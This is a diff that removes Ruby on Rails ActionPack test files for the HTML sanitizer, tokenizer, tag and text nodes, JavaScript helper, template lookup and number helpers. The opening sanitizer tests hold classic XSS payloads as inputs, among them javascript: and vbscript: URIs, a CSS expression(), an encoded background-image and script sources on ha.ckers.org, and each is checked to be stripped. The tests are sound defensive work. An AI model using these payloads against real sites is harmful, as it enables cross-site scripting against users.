- def test_should_sanitize_xul_style_attributes
- raw = %(-moz-binding:url('http://ha.ckers.org/xssmoz.xml#xss'))
- assert_equal '', sanitize_css(raw)
- end
-
- def test_should_sanitize_invalid_tag_names
- assert_sanitized(%(a b c<script/XSS src="http://ha.ckers.org/xss.js"></script>d e f), "a b cd e f")
- end
-
- def test_should_sanitize_non_alpha_and_non_digit_characters_in_tags
- assert_sanitized('<a onclick!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>foo</a>', "<a>foo</a>")
- end
-
- def test_should_sanitize_invalid_tag_names_in_single_tags
- assert_sanitized('<img/src="http://ha.ckers.org/xss.js"/>', "<img />")
- end
-
- def test_should_sanitize_img_dynsrc_lowsrc
- assert_sanitized(%(<img lowsrc="javascript:alert('XSS')" />), "<img />")
- end
-
- def test_should_sanitize_div_background_image_unicode_encoded
- raw = %(background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029)
- assert_equal '', sanitize_css(raw)
- end
-
- def test_should_sanitize_div_style_expression
- raw = %(width: expression(alert('XSS'));)
- assert_equal '', sanitize_css(raw)
- end
-
- def test_should_sanitize_img_vbscript
- assert_sanitized %(<img src='vbscript:msgbox("XSS")' />), '<img />'
- end
-
- def test_should_sanitize_cdata_section
- assert_sanitized "<![CDATA[<span>section</span>]]>", "&lt;![CDATA[&lt;span>section&lt;/span>]]>"
- end
-
- def test_should_sanitize_unterminated_cdata_section
- assert_sanitized "<![CDATA[<span>neverending...", "&lt;![CDATA[&lt;span>neverending...]]>"
- end
-
- def test_should_not_mangle_urls_with_ampersand
- assert_sanitized %{<a href=\"http://www.domain.com?var1=1&amp;var2=2\">my link</a>}
- end
-
- def test_should_sanitize_neverending_attribute
- assert_sanitized "<span class=\"\\", "<span class=\"\\\">"
- end
-
-protected
- def assert_sanitized(input, expected = nil)
- @sanitizer ||= HTML::WhiteListSanitizer.new
- if input
- assert_dom_equal expected || input, @sanitizer.sanitize(input)
- else
- assert_nil @sanitizer.sanitize(input)
- end
- end
-
- def sanitize_css(input)
- (@sanitizer ||= HTML::WhiteListSanitizer.new).sanitize_css(input)
- end
-end
diff --git a/actionpack/test/template/html-scanner/tag_node_test.rb b/actionpack/test/template/html-scanner/tag_node_test.rb
deleted file mode 100644
index a29d2d43d7..0000000000
--- a/actionpack/test/template/html-scanner/tag_node_test.rb
+++ /dev/null
@@ -1,243 +0,0 @@
-require 'abstract_unit'
-
-class TagNodeTest < ActiveSupport::TestCase
- def test_open_without_attributes
- node = tag("<tag>")
- assert_equal "tag", node.name
- assert_equal Hash.new, node.attributes
- assert_nil node.closing
- end
-
- def test_open_with_attributes
- node = tag("<TAG1 foo=hey_ho x:bar=\"blah blah\" BAZ='blah blah blah' >")
- assert_equal "tag1", node.name
- assert_equal "hey_ho", node["foo"]
- assert_equal "blah blah", node["x:bar"]
- assert_equal "blah blah blah", node["baz"]
- end
-
- def test_self_closing_without_attributes
- node = tag("<tag/>")
- assert_equal "tag", node.name
- assert_equal Hash.new, node.attributes
- assert_equal :self, node.closing
- end
-
- def test_self_closing_with_attributes
- node = tag("<tag a=b/>")
- assert_equal "tag", node.name
- assert_equal( { "a" => "b" }, node.attributes )
- assert_equal :self, node.closing
- end
-
- def test_closing_without_attributes
- node = tag("</tag>")
- assert_equal "tag", node.name
- assert_nil node.attributes
- assert_equal :close, node.closing
- end
-
- def test_bracket_op_when_no_attributes
- node = tag("</tag>")
- assert_nil node["foo"]
- end
-
- def test_bracket_op_when_attributes
- node = tag("<tag a=b/>")
- assert_equal "b", node["a"]
- end
-
- def test_attributes_with_escaped_quotes
- node = tag("<tag a='b\\'c' b=\"bob \\\"float\\\"\">")
- assert_equal "b\\'c", node["a"]
- assert_equal "bob \\\"float\\\"", node["b"]
- end
-
- def test_to_s
- node = tag("<a b=c d='f' g=\"h 'i'\" />")
- node = node.to_s
- assert node.include?('a')
- assert node.include?('b="c"')
- assert node.include?('d="f"')
- assert node.include?('g="h')
- assert node.include?('i')
- end
-
- def test_tag
- assert tag("<tag>").tag?
- end
-
- def test_match_tag_as_string
- assert tag("<tag>").match(:tag => "tag")
- assert !tag("<tag>").match(:tag => "b")
- end
-
- def test_match_tag_as_regexp
- assert tag("<tag>").match(:tag => /t.g/)
- assert !tag("<tag>").match(:tag => /t[bqs]g/)
- end
-
- def test_match_attributes_as_string
- t = tag("<tag a=something b=else />")
- assert t.match(:attributes => {"a" => "something"})
- assert t.match(:attributes => {"b" => "else"})
- end
-
- def test_match_attributes_as_regexp
- t = tag("<tag a=something b=else />")
- assert t.match(:attributes => {"a" => /^something$/})
- assert t.match(:attributes => {"b" => /e.*e/})
- assert t.match(:attributes => {"a" => /me..i/, "b" => /.ls.$/})
- end
-
- def test_match_attributes_as_number
- t = tag("<tag a=15 b=3.1415 />")
- assert t.match(:attributes => {"a" => 15})
- assert t.match(:attributes => {"b" => 3.1415})
- assert t.match(:attributes => {"a" => 15, "b" => 3.1415})
- end
-
- def test_match_attributes_exist
- t = tag("<tag a=15 b=3.1415 />")
- assert t.match(:attributes => {"a" => true})
- assert t.match(:attributes => {"b" => true})
- assert t.match(:attributes => {"a" => true, "b" => true})
- end
-
- def test_match_attributes_not_exist
- t = tag("<tag a=15 b=3.1415 />")
- assert t.match(:attributes => {"c" => false})
- assert t.match(:attributes => {"c" => nil})
- assert t.match(:attributes => {"a" => true, "c" => false})
- end
-
- def test_match_parent_success
- t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
- assert t.match(:parent => {:tag => "foo", :attributes => {"k" => /v.l/, "j" => false}})
- end
-
- def test_match_parent_fail
- t = tag("<tag a=15 b='hello'>", tag("<foo k='value'>"))
- assert !t.match(:parent => {:tag => /kafka/})
- end
-
- def test_match_child_success
- t = tag("<tag x:k='something'>")
- tag("<child v=john a=kelly>", t)
- tag("<sib m=vaughn v=james>", t)
- assert t.match(:child => { :tag => "sib", :attributes => {"v" => /j/}})
- assert t.match(:child => { :attributes => {"a" => "kelly"}})
- end
-
- def test_match_child_fail
- t = tag("<tag x:k='something'>")
- tag("<child v=john a=kelly>", t)
- tag("<sib m=vaughn v=james>", t)
- assert !t.match(:child => { :tag => "sib", :attributes => {"v" => /r/}})
- assert !t.match(:child => { :attributes => {"v" => false}})
- end
-
- def test_match_ancestor_success
- t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
- assert t.match(:ancestor => {:tag => "parent", :attributes => {"a" => /ll/}})
- assert t.match(:ancestor => {:attributes => {"m" => "vaughn"}})
- end
-
- def test_match_ancestor_fail
- t = tag("<tag x:k='something'>", tag("<parent v=john a=kelly>", tag("<grandparent m=vaughn v=james>")))
- assert !t.match(:ancestor => {:tag => /^parent/, :attributes => {"v" => /m/}})
- assert !t.match(:ancestor => {:attributes => {"v" => false}})
- end
-
- def test_match_descendant_success
- tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
- assert t.match(:descendant => {:tag => "child", :attributes => {"a" => /ll/}})
- assert t.match(:descendant => {:attributes => {"m" => "vaughn"}})
- end
-
- def test_match_descendant_fail
- tag("<grandchild m=vaughn v=james>", tag("<child v=john a=kelly>", t = tag("<tag x:k='something'>")))
- assert !t.match(:descendant => {:tag => /^child/, :attributes => {"v" => /m/}})
- assert !t.match(:descendant => {:attributes => {"v" => false}})
- end
-
- def test_match_child_count
- t = tag("<tag x:k='something'>")
- tag("hello", t)
- tag("<child v=john a=kelly>", t)
- tag("<sib m=vaughn v=james>", t)
- assert t.match(:children => { :count => 2 })
- assert t.match(:children => { :count => 2..4 })
- assert t.match(:children => { :less_than => 4 })
- assert t.match(:children => { :greater_than => 1 })
- assert !t.match(:children => { :count => 3 })
- end
-
- def test_conditions_as_strings
- t = tag("<tag x:k='something'>")
- assert t.match("tag" => "tag")
- assert t.match("attributes" => { "x:k" => "something" })
- assert !t.match("tag" => "gat")
- assert !t.match("attributes" => { "x:j" => "something" })
- end
-
- def test_attributes_as_symbols
- t = tag("<child v=john a=kelly>")
- assert t.match(:attributes => { :v => /oh/ })
- assert t.match(:attributes => { :a => /ll/ })
- end
-
- def test_match_sibling
- t = tag("<tag x:k='something'>")
- tag("hello", t)
- tag("<span a=b>", t)
- tag("world", t)
- m = tag("<span k=r>", t)
- tag("<span m=l>", t)
-
- assert m.match(:sibling => {:tag => "span", :attributes => {:a => true}})
- assert m.match(:sibling => {:tag => "span", :attributes => {:m => true}})
- assert !m.match(:sibling => {:tag => "span", :attributes => {:k => true}})
- end
-
- def test_match_sibling_before
- t = tag("<tag x:k='something'>")
- tag("hello", t)
- tag("<span a=b>", t)
- tag("world", t)
- m = tag("<span k=r>", t)
- tag("<span m=l>", t)
-
- assert m.match(:before => {:tag => "span", :attributes => {:m => true}})
- assert !m.match(:before => {:tag => "span", :attributes => {:a => true}})
- assert !m.match(:before => {:tag => "span", :attributes => {:k => true}})
- end
-
- def test_match_sibling_after
- t = tag("<tag x:k='something'>")
- tag("hello", t)
- tag("<span a=b>", t)
- tag("world", t)
- m = tag("<span k=r>", t)
- tag("<span m=l>", t)
-
- assert m.match(:after => {:tag => "span", :attributes => {:a => true}})
- assert !m.match(:after => {:tag => "span", :attributes => {:m => true}})
- assert !m.match(:after => {:tag => "span", :attributes => {:k => true}})
- end
-
- def test_tag_to_s
- t = tag("<b x='foo'>")
- tag("hello", t)
- tag("<hr />", t)
- assert_equal %(<b x="foo">hello<hr /></b>), t.to_s
- end
-
- private
-
- def tag(content, parent=nil)
- node = HTML::Node.parse(parent,0,0,content)
- parent.children << node if parent
- node
- end
-end
diff --git a/actionpack/test/template/html-scanner/text_node_test.rb b/actionpack/test/template/html-scanner/text_node_test.rb
deleted file mode 100644
index cbcb9e78f0..0000000000
--- a/actionpack/test/template/html-scanner/text_node_test.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require 'abstract_unit'
-
-class TextNodeTest < ActiveSupport::TestCase
- def setup
- @node = HTML::Text.new(nil, 0, 0, "hello, howdy, aloha, annyeong")
- end
-
- def test_to_s
- assert_equal "hello, howdy, aloha, annyeong", @node.to_s
- end
-
- def test_find_string
- assert_equal @node, @node.find("hello, howdy, aloha, annyeong")
- assert_equal false, @node.find("bogus")
- end
-
- def test_find_regexp
- assert_equal @node, @node.find(/an+y/)
- assert_nil @node.find(/b/)
- end
-
- def test_find_hash
- assert_equal @node, @node.find(:content => /howdy/)
- assert_nil @node.find(:content => /^howdy$/)
- assert_equal false, @node.find(:content => "howdy")
- end
-
- def test_find_other
- assert_nil @node.find(:hello)
- end
-
- def test_match_string
- assert @node.match("hello, howdy, aloha, annyeong")
- assert_equal false, @node.match("bogus")
- end
-
- def test_match_regexp
- assert_not_nil @node, @node.match(/an+y/)
- assert_nil @node.match(/b/)
- end
-
- def test_match_hash
- assert_not_nil @node, @node.match(:content => "howdy")
- assert_nil @node.match(:content => /^howdy$/)
- end
-
- def test_match_other
- assert_nil @node.match(:hello)
- end
-end
diff --git a/actionpack/test/template/html-scanner/tokenizer_test.rb b/actionpack/test/template/html-scanner/tokenizer_test.rb
deleted file mode 100644
index 1d59de23b6..0000000000
--- a/actionpack/test/template/html-scanner/tokenizer_test.rb
+++ /dev/null
@@ -1,131 +0,0 @@
-require 'abstract_unit'
-
-class TokenizerTest < ActiveSupport::TestCase
-
- def test_blank
- tokenize ""
- assert_end
- end
-
- def test_space
- tokenize " "
- assert_next " "
- assert_end
- end
-
- def test_tag_simple_open
- tokenize "<tag>"
- assert_next "<tag>"
- assert_end
- end
-
- def test_tag_simple_self_closing
- tokenize "<tag />"
- assert_next "<tag />"
- assert_end
- end
-
- def test_tag_simple_closing
- tokenize "</tag>"
- assert_next "</tag>"
- end
-
- def test_tag_with_single_quoted_attribute
- tokenize %{<tag a='hello'>x}
- assert_next %{<tag a='hello'>}
- end
-
- def test_tag_with_single_quoted_attribute_with_escape
- tokenize %{<tag a='hello\\''>x}
- assert_next %{<tag a='hello\\''>}
- end
-
- def test_tag_with_double_quoted_attribute
- tokenize %{<tag a="hello">x}
- assert_next %{<tag a="hello">}
- end
-
- def test_tag_with_double_quoted_attribute_with_escape
- tokenize %{<tag a="hello\\"">x}
- assert_next %{<tag a="hello\\"">}
- end
-
- def test_tag_with_unquoted_attribute
- tokenize %{<tag a=hello>x}
- assert_next %{<tag a=hello>}
- end
-
- def test_tag_with_lt_char_in_attribute
- tokenize %{<tag a="x < y">x}
- assert_next %{<tag a="x < y">}
- end
-
- def test_tag_with_gt_char_in_attribute
- tokenize %{<tag a="x > y">x}
- assert_next %{<tag a="x > y">}
- end
-
- def test_doctype_tag
- tokenize %{<!DOCTYPE "blah" "blah" "blah">\n <html>}
- assert_next %{<!DOCTYPE "blah" "blah" "blah">}
- assert_next %{\n }
- assert_next %{<html>}
- end
-
- def test_cdata_tag
- tokenize %{<![CDATA[<br>]]>}
- assert_next %{<![CDATA[<br>]]>}
- assert_end
- end
-
- def test_unterminated_cdata_tag
- tokenize %{<content:encoded><![CDATA[ neverending...}
- assert_next %{<content:encoded>}
- assert_next %{<![CDATA[ neverending...}
- assert_end
- end
-
- def test_less_than_with_space
- tokenize %{original < hello > world}
- assert_next %{original }
- assert_next %{< hello > world}
- end
-
- def test_less_than_without_matching_greater_than
- tokenize %{hello <span onmouseover="gotcha"\n<b>foo</b>\nbar</span>}
- assert_next %{hello }
- assert_next %{<span onmouseover="gotcha"\n}
- assert_next %{<b>}
- assert_next %{foo}
- assert_next %{</b>}
- assert_next %{\nbar}
- assert_next %{</span>}
- assert_end
- end
-
- def test_unterminated_comment
- tokenize %{hello <!-- neverending...}
- assert_next %{hello }
- assert_next %{<!-- neverending...}
- assert_end
- end
-
- private
-
- def tokenize(text)
- @tokenizer = HTML::Tokenizer.new(text)
- end
-
- def assert_next(expected, message=nil)
- token = @tokenizer.next
- assert_equal expected, token, message
- end
-
- def assert_sequence(*expected)
- assert_next expected.shift until expected.empty?
- end
-
- def assert_end(message=nil)
- assert_nil @tokenizer.next, message
- end
-end
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
deleted file mode 100644
index 56919dc592..0000000000
--- a/actionpack/test/template/javascript_helper_test.rb
+++ /dev/null
@@ -1,104 +0,0 @@
-require 'abstract_unit'
-
-class JavaScriptHelperTest < ActionView::TestCase
- tests ActionView::Helpers::JavaScriptHelper
-
- def _evaluate_assigns_and_ivars() end
-
- attr_accessor :formats, :output_buffer
-
- def update_details(details)
- @details = details
- yield if block_given?
- end
-
- def setup
- super
- ActiveSupport.escape_html_entities_in_json = true
- @template = self
- end
-
- def teardown
- ActiveSupport.escape_html_entities_in_json = false
- end
-
- def test_escape_javascript
- assert_equal '', escape_javascript(nil)
- assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
- assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
- assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
- assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding('UTF-8').encode!)
- assert_equal %(unicode &#x2029; newline), escape_javascript(%(unicode \342\200\251 newline).force_encoding('UTF-8').encode!)
-
- assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
- end
-
- def test_escape_javascript_with_safebuffer
- given = %('quoted' "double-quoted" new-line:\n </closed>)
- expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>)
- assert_equal expect, escape_javascript(given)
- assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given))
- assert_instance_of String, escape_javascript(given)
- assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given))
- end
-
- def test_button_to_function
- assert_deprecated do
- assert_dom_equal %(<input type="button" onclick="alert(&#39;Hello world!&#39;);" value="Greeting" />),
- button_to_function("Greeting", "alert('Hello world!')")
- end
- end
-
- def test_button_to_function_with_onclick
- assert_deprecated do
- assert_dom_equal "<input onclick=\"alert(&#39;Goodbye World :(&#39;); alert(&#39;Hello world!&#39;);\" type=\"button\" value=\"Greeting\" />",
- button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
- end
- end
-
- def test_button_to_function_without_function
- assert_deprecated do
- assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
- button_to_function("Greeting")
- end
- end
-
- def test_link_to_function
- assert_deprecated do
- assert_dom_equal %(<a href="#" onclick="alert(&#39;Hello world!&#39;); return false;">Greeting</a>),
- link_to_function("Greeting", "alert('Hello world!')")
- end
- end
-
- def test_link_to_function_with_existing_onclick
- assert_deprecated do
- assert_dom_equal %(<a href="#" onclick="confirm(&#39;Sanity!&#39;); alert(&#39;Hello world!&#39;); return false;">Greeting</a>),
- link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
- end
- end
-
- def test_function_with_href
- assert_deprecated do
- assert_dom_equal %(<a href="http://example.com/" onclick="alert(&#39;Hello world!&#39;); return false;">Greeting</a>),
- link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
- end
- end
-
- def test_javascript_tag
- self.output_buffer = 'foo'
-
- assert_dom_equal "<script>\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
- javascript_tag("alert('hello')")
-
- assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
- end
-
- def test_javascript_tag_with_options
- assert_dom_equal "<script id=\"the_js_tag\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
- javascript_tag("alert('hello')", :id => "the_js_tag")
- end
-
- def test_javascript_cdata_section
- assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
- end
-end
diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb
deleted file mode 100644
index 073bd14783..0000000000
--- a/actionpack/test/template/lookup_context_test.rb
+++ /dev/null
@@ -1,263 +0,0 @@
-require "abstract_unit"
-require "abstract_controller/rendering"
-
-class LookupContextTest < ActiveSupport::TestCase
- def setup
- @lookup_context = ActionView::LookupContext.new(FIXTURE_LOAD_PATH, {})
- ActionView::LookupContext::DetailsKey.clear
- end
-
- def teardown
- I18n.locale = :en
- end
-
- test "allows to override default_formats with ActionView::Base.default_formats" do
- begin
- formats = ActionView::Base.default_formats
- ActionView::Base.default_formats = [:foo, :bar]
-
- assert_equal [:foo, :bar], ActionView::LookupContext.new([]).default_formats
- ensure
- ActionView::Base.default_formats = formats
- end
- end
-
- test "process view paths on initialization" do
- assert_kind_of ActionView::PathSet, @lookup_context.view_paths
- end
-
- test "normalizes details on initialization" do
- assert_equal Mime::SET, @lookup_context.formats
- assert_equal :en, @lookup_context.locale
- end
-
- test "allows me to freeze and retrieve frozen formats" do
- @lookup_context.formats.freeze
- assert @lookup_context.formats.frozen?
- end
-
- test "provides getters and setters for formats" do
- @lookup_context.formats = [:html]
- assert_equal [:html], @lookup_context.formats
- end
-
- test "handles */* formats" do
- @lookup_context.formats = ["*/*"]
- assert_equal Mime::SET, @lookup_context.formats
- end
-
- test "handles explicitly defined */* formats fallback to :js" do
- @lookup_context.formats = [:js, Mime::ALL]
- assert_equal [:js, *Mime::SET.symbols], @lookup_context.formats
- end
-
- test "adds :html fallback to :js formats" do
- @lookup_context.formats = [:js]
- assert_equal [:js, :html], @lookup_context.formats
- end
-
- test "provides getters and setters for locale" do
- @lookup_context.locale = :pt
- assert_equal :pt, @lookup_context.locale
- end
-
- test "changing lookup_context locale, changes I18n.locale" do
- @lookup_context.locale = :pt
- assert_equal :pt, I18n.locale
- end
-
- test "delegates changing the locale to the I18n configuration object if it contains a lookup_context object" do
- begin
- I18n.config = AbstractController::I18nProxy.new(I18n.config, @lookup_context)
- @lookup_context.locale = :pt
- assert_equal :pt, I18n.locale
- assert_equal :pt, @lookup_context.locale
- ensure
- I18n.config = I18n.config.original_config
- end
-
- assert_equal :pt, I18n.locale
- end
-
- test "find templates using the given view paths and configured details" do
- template = @lookup_context.find("hello_world", %w(test))
- assert_equal "Hello world!", template.source
-
- @lookup_context.locale = :da
- template = @lookup_context.find("hello_world", %w(test))
- assert_equal "Hey verden", template.source
- end
-
- test "found templates respects given formats if one cannot be found from template or handler" do
- ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
- @lookup_context.formats = [:text]
- template = @lookup_context.find("hello", %w(test))
- assert_equal [:text], template.formats
- end
-
- test "adds fallbacks to view paths when required" do
- assert_equal 1, @lookup_context.view_paths.size
-
- @lookup_context.with_fallbacks do
- assert_equal 3, @lookup_context.view_paths.size
- assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new(""))
- assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new("/"))
- end
- end
-
- test "add fallbacks just once in nested fallbacks calls" do
- @lookup_context.with_fallbacks do
- @lookup_context.with_fallbacks do
- assert_equal 3, @lookup_context.view_paths.size
- end
- end
- end
-
- test "generates a new details key for each details hash" do
- keys = []
- keys << @lookup_context.details_key
- assert_equal 1, keys.uniq.size
-
- @lookup_context.locale = :da
- keys << @lookup_context.details_key
- assert_equal 2, keys.uniq.size
-
- @lookup_context.locale = :en
- keys << @lookup_context.details_key
- assert_equal 2, keys.uniq.size
-
- @lookup_context.formats = [:html]
- keys << @lookup_context.details_key
- assert_equal 3, keys.uniq.size
-
- @lookup_context.formats = nil
- keys << @lookup_context.details_key
- assert_equal 3, keys.uniq.size
- end
-
- test "gives the key forward to the resolver, so it can be used as cache key" do
- @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
-
- # Now we are going to change the template, but it won't change the returned template
- # since we will hit the cache.
- @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
-
- # This time we will change the locale. The updated template should be picked since
- # lookup_context generated a new key after we changed the locale.
- @lookup_context.locale = :da
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Bar", template.source
-
- # Now we will change back the locale and it will still pick the old template.
- # This is expected because lookup_context will reuse the previous key for :en locale.
- @lookup_context.locale = :en
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
-
- # Finally, we can expire the cache. And the expected template will be used.
- @lookup_context.view_paths.first.clear_cache
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Bar", template.source
- end
-
- test "can disable the cache on demand" do
- @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
- old_template = @lookup_context.find("foo", %w(test), true)
-
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal template, old_template
-
- assert @lookup_context.cache
- template = @lookup_context.disable_cache do
- assert !@lookup_context.cache
- @lookup_context.find("foo", %w(test), true)
- end
- assert @lookup_context.cache
-
- assert_not_equal template, old_template
- end
-
- test "responds to #prefixes" do
- assert_equal [], @lookup_context.prefixes
- @lookup_context.prefixes = ["foo"]
- assert_equal ["foo"], @lookup_context.prefixes
- end
-end
-
-class LookupContextWithFalseCaching < ActiveSupport::TestCase
- def setup
- @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
- ActionView::Resolver.stubs(:caching?).returns(false)
- @lookup_context = ActionView::LookupContext.new(@resolver, {})
- end
-
- test "templates are always found in the resolver but timestamp is checked before being compiled" do
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
-
- # Now we are going to change the template, but it won't change the returned template
- # since the timestamp is the same.
- @resolver.hash["test/_foo.erb"][0] = "Bar"
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
-
- # Now update the timestamp.
- @resolver.hash["test/_foo.erb"][1] = Time.now.utc
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Bar", template.source
- end
-
- test "if no template was found in the second lookup, with no cache, raise error" do
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
-
- @resolver.hash.clear
- assert_raise ActionView::MissingTemplate do
- @lookup_context.find("foo", %w(test), true)
- end
- end
-
- test "if no template was cached in the first lookup, retrieval should work in the second call" do
- @resolver.hash.clear
- assert_raise ActionView::MissingTemplate do
- @lookup_context.find("foo", %w(test), true)
- end
-
- @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
- template = @lookup_context.find("foo", %w(test), true)
- assert_equal "Foo", template.source
- end
-end
-
-class TestMissingTemplate < ActiveSupport::TestCase
- def setup
- @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
- end
-
- test "if no template was found we get a helpful error message including the inheritance chain" do
- e = assert_raise ActionView::MissingTemplate do
- @lookup_context.find("foo", %w(parent child))
- end
- assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
- end
-
- test "if no partial was found we get a helpful error message including the inheritance chain" do
- e = assert_raise ActionView::MissingTemplate do
- @lookup_context.find("foo", %w(parent child), true)
- end
- assert_match %r{Missing partial parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
- end
-
- test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
- e = assert_raise ActionView::MissingTemplate do
- details = {:handlers=>[], :formats=>[], :locale=>[]}
- @lookup_context.view_paths.find("foo", "parent", true, details)
- end
- assert_match %r{Missing partial parent/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
- end
-
-end
diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb
deleted file mode 100644
index d8fffe75ed..0000000000
--- a/actionpack/test/template/number_helper_test.rb
+++ /dev/null
@@ -1,399 +0,0 @@
-require 'abstract_unit'
-
-class NumberHelperTest < ActionView::TestCase
- tests ActionView::Helpers::NumberHelper
-
- def kilobytes(number)
- number * 1024
- end
-
- def megabytes(number)
- kilobytes(number) * 1024
- end
-
- def gigabytes(number)
- megabytes(number) * 1024
- end
-
- def terabytes(number)
- gigabytes(number) * 1024
- end
-
- def test_number_to_phone
- assert_equal("555-1234", number_to_phone(5551234))
- assert_equal("800-555-1212", number_to_phone(8005551212))
- assert_equal("(800) 555-1212", number_to_phone(8005551212, {:area_code => true}))
- assert_equal("", number_to_phone("", {:area_code => true}))
- assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "}))
- assert_equal("(800) 555-1212 x 123", number_to_phone(8005551212, {:area_code => true, :extension => 123}))
- assert_equal("800-555-1212", number_to_phone(8005551212, :extension => " "))
- assert_equal("555.1212", number_to_phone(5551212, :delimiter => '.'))
- assert_equal("800-555-1212", number_to_phone("8005551212"))
- assert_equal("+1-800-555-1212", number_to_phone(8005551212, :country_code => 1))
- assert_equal("+18005551212", number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
- assert_equal("22-555-1212", number_to_phone(225551212))
- assert_equal("+45-22-555-1212", number_to_phone(225551212, :country_code => 45))
- assert_equal '111&lt;script&gt;&lt;/script&gt;111&lt;script&gt;&lt;/script&gt;1111', number_to_phone(1111111111, :delimiter => "<script></script>")
- end
-
- def test_number_to_currency
- assert_equal("$1,234,567,890.50", number_to_currency(1234567890.50))
- assert_equal("$1,234,567,890.51", number_to_currency(1234567890.506))
- assert_equal("-$1,234,567,890.50", number_to_currency(-1234567890.50))
- assert_equal("-$ 1,234,567,890.50", number_to_currency(-1234567890.50, {:format => "%u %n"}))
- assert_equal("($1,234,567,890.50)", number_to_currency(-1234567890.50, {:negative_format => "(%u%n)"}))
- assert_equal("$1,234,567,892", number_to_currency(1234567891.50, {:precision => 0}))
- assert_equal("$1,234,567,890.5", number_to_currency(1234567890.50, {:precision => 1}))
- assert_equal("&pound;1234567890,50", number_to_currency(1234567890.50, {:unit => "&pound;", :separator => ",", :delimiter => ""}))
- assert_equal("$1,234,567,890.50", number_to_currency("1234567890.50"))
- assert_equal("1,234,567,890.50 K&#269;", number_to_currency("1234567890.50", {:unit => "K&#269;", :format => "%n %u"}))
- assert_equal("1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", {:unit => "K&#269;", :format => "%n %u", :negative_format => "%n - %u"}))
- assert_equal '$1&lt;script&gt;&lt;/script&gt;01', number_to_currency(1.01, :separator => "<script></script>")
- assert_equal '$1&lt;script&gt;&lt;/script&gt;000.00', number_to_currency(1000, :delimiter => "<script></script>")
- end
-
- def test_number_to_percentage
- assert_equal("100.000%", number_to_percentage(100))
- assert_equal("100%", number_to_percentage(100, {:precision => 0}))
- assert_equal("302.06%", number_to_percentage(302.0574, {:precision => 2}))
- assert_equal("100.000%", number_to_percentage("100"))
- assert_equal("1000.000%", number_to_percentage("1000"))
- assert_equal("123.4%", number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
- assert_equal("1.000,000%", number_to_percentage(1000, :delimiter => '.', :separator => ','))
- assert_equal("1000.000 %", number_to_percentage(1000, :format => "%n %"))
- assert_equal '1&lt;script&gt;&lt;/script&gt;010%', number_to_percentage(1.01, :separator => "<script></script>")
- assert_equal '1&lt;script&gt;&lt;/script&gt;000.000%', number_to_percentage(1000, :delimiter => "<script></script>")
- end
-
- def test_number_with_delimiter
- assert_equal("12,345,678", number_with_delimiter(12345678))
- assert_equal("0", number_with_delimiter(0))
- assert_equal("123", number_with_delimiter(123))
- assert_equal("123,456", number_with_delimiter(123456))
- assert_equal("123,456.78", number_with_delimiter(123456.78))
- assert_equal("123,456.789", number_with_delimiter(123456.789))
- assert_equal("123,456.78901", number_with_delimiter(123456.78901))
- assert_equal("123,456,789.78901", number_with_delimiter(123456789.78901))
